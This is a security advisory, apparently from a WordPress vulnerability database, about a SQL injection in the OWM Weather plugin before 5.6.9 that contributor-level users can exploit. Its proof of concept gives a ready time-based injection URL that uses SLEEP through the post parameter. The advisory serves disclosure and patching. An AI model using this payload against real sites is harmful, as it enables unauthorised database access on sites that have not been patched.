WordPress Plugin Vulnerabilities

OWM Weather < 5.6.9 - Contributor+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as contributor

Proof of Concept

Logon as contributor and open the below URL, which will result in a delayed response (If the "could not find original weather" error occur, just replace the 1 in "post=1" with an existing post id)

https://example.com/wp-admin/admin.php?action=owmw_duplicate_post_as_draft&post=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(3)))hlAf)

Affects Plugins

Fixed in 5.6.9

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Kunal Sharma (University of Kaiserslautern), Daniel Krohmer (Fraunhofer IESE)
Submitter
Kunal Sharma
Verified
Yes

Timeline

Publicly Published
2022-11-02 (about 1 years ago)
Added
2022-11-02 (about 1 years ago)
Last Updated
2022-12-02 (about 11 months ago)

Other